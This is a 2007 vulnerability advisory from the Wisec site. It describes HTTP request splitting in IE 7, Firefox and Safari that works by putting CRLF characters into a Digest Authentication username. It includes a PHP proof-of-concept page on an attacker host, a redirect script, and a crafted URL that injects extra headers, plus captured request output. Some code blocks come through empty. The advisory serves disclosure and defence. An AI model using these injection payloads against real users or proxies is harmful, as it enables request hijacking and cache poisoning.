

Wisec - The Wise SECurity

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Wisec - The Wise SECurity

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IE 7 and Firefox Browsers Digest Authentication Request Splitting

Updated on 27th April 2007 see updated details here

Safari is also affected by this issue.

Title:

IE 7 and Firefox Browsers Digest Authentication

Original Discovery and Research:

Stefano Di Paola

Vulnerable:

Internet Explorer 7.0.5730.11 Mozilla Firefox 2.0.0.3

Severity:

Medium

Vendor :

<http://www.microsoft.com/> <http://www.mozilla.com/>

Type of Vulnerability:

HTTP Request Splitting

Tested On :

Firefox 2.0.0.3 under Windows XP SP2, Firefox 2.0.0.3 under Ubuntu 6.06, Internet Explorer SP2 under Windows XP SP2.

Discovery Date :

20070213

Release Date :

20070425

I) Short description

Firefox and Internet Explorer are prone to Http Request Splitting when Digest Authentication occurs. [If](#) anyone wants to know about HTTP Request Splitting, HTTP Request Splitting attacks are described in various papers and advisories:

1. <http://www.securityfocus.com/archive/1/411585>
2. <http://www.webappsec.org/lists/websecurity/archive/2006-07/msg00069.html>
3. <http://download2.rapid7.com/r7-0026/>
4. [<http://www.wisec.it/docs.php?id=4> (PDF, About Auto Injection with Req.Split.)](<http://www.wisec.it/docs.php?id=4>)

II) Long description

As explained in Rfc2617 (<http://www.ietf.org/rfc/rfc2617.txt>) Digest Authentication is a more secure way to exchange user credentials.

Rfc uses the following example:

```
--8<--8<--8<--8<--8<--8<--8<--8<--8<
**
```

The first time the client requests the document, no Authorization header is sent, so the server responds with:

```
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest
    realm="testrealm@host.com",
    qop="auth,auth-int",
    nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
    opaque="5ccc069c403ebaf9f0171e9517f40e41"
```

The client may prompt the user **for** the username and password, after which it will respond with a **new** request, including the following Authorization header:

```
Authorization: Digest username="Mufasa",
    realm="testrealm@host.com",
    nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
    uri="/dir/index.html",
    qop=auth,
    nc=00000001,
    cnonce="0a4f113b",
    response="6629fae49393a05397450978507c4ef1",
    opaque="5ccc069c403ebaf9f0171e9517f40e41"
**
```

```
--8<--8<--8<--8<--8<--8<--8<--8<--8<
```

So there's a response by the client (browser) with username in clear.

There are two ways to send credentials in html/javascript:

```
**
```

```
XMLHttpRequest("GET","page",async, "user", "pass");
```

```
**
```

And with img/iframes or related:

```
**
```

```

```

```
**
```

But what if the username contains `\r\n` or urlencoded `%0d%0a`?

Let's use an Evil page like this:

```
--8<-- http://evilhost/req.php --8<--8<--8<--8<--8<--8<
**
<?php
header('Set-Cookie: PHPSESSID=6555');
if((int)intval($_COOKIE['PHPSESSID']) !== 6555){
    header('HTTP/1.0 401 Authorization Required');
    header('WWW-Authenticate: Digest realm="1@example.com", \
qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",\
opaque="5ccc069c403ebaf9f0171e9517f40e41"');
    header('Proxy-Connection: keep-alive');
} else {
    // header("Set-Cookie: PHPSESSID=0");
}
header('Connection: keep-alive');
?>
<html><head>
<meta http-equiv='Connection' content="keep-alive"></head>
<body><script>
// Some Printing in order to show document DOM properties
// in the poisoned page
for(var i in document)
document.write(i+' '+eval('document.'+i)+'<br>');
</script>
</body>
</html>
**
--8<--8<--8<--8<--8<--8<--8<--8<
```

Which asks for a digest authentication only once.

III) Direct URL Authentication

Let's try it with Firefox:

**

```

```

**

Let's see what happens after the first request:

```
--8<--8<--8<--8<--8<--8<--8<--8<
```

**

HTTP/1.1 401 Authorization Required

Set-Cookie: PHPSESSID=6555

WWW-Authenticate: Digest realm="1@example.com", qop="auth,auth-int",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", response="e398c44324d1c21b0f1cf622808ad247"

Proxy-Connection: keep-alive

Connection: keep-alive, Keep-Alive

Content-Length: 146

Keep-Alive: timeout=15, max=100

Content-Type: text/html; charset=UTF-8

...

**

```
--8<--8<--8<--8<--8<--8<--8<--8<
```

and then Firefox resend its request:

```
--8<--8<--8<--8<--8<--8<--8<--8<
```

**

GET /req.php HTTP/1.1

Host: at.tack.er

User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3)

Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy)

Keep-Alive: 300

Connection: keep-alive

Authorization: Digest username="user

name", realm="1@example.com", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/req.php", response="e398c44324d1c21b0f1cf622808ad247"

Cookie: PHPSESSID=6555

**

```
--8<--8<--8<--8<--8<--8<--8<--8<
```

Everyone can see there's a splitting where the %0a was.

The rest of the story is straightforward, an attacker could inject a second request, and in presence of a proxy (about 2 million people use it), a request splitting attack could be accomplished.

IV) Firefox Add-On

A redirection could be used:

**

```

```

**

With redir.php :

**

```
<?php
```

```
header("Location: http://user%0aname:ds@evilhost/req.php");
```

```
?>
```

**

Or by [using](#) various redirectors around the web.

Note: Internet Explorer 7 is not vulnerable with imgs nor with other direct requests.

V) XMLHttpRequest Authentication

It looks like **Safari is also affected by [this](#) issue**.

Request url:

`http://user%0aX-Foobar%3A%20uhoh%0aAuthorization%3A%20Digest%20username="name:pass@evilhost.tld/foo/`

GET /foo/ HTTP/1.1

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en)

AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Paros/3.2.13

Authorization: Digest username="user

X-Foobar: uh-oh

Authorization: Digest username="\name", realm="private",
nonce="8tV0WgcvBAA=3efa17bd9bf4ac5f2bb9169880d6737708acfee0",
uri="/foo/", response="facc3cb14eb07ad325696d05223038d3",
algorithm="MD5", cnonce="a6071432b914d781a08fe75ce2c13af7",
nc=00000001, qop="auth"

Connection: keep-alive

Proxy-Connection: keep-alive

Host: evilhost.tld

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Florence, 25th April 2007

Wisec is brought to you by...

Wisec is written and mantained by Stefano Di Paola.

Wisec uses open standards, including XHTML, CSS2, and XML-RPC.

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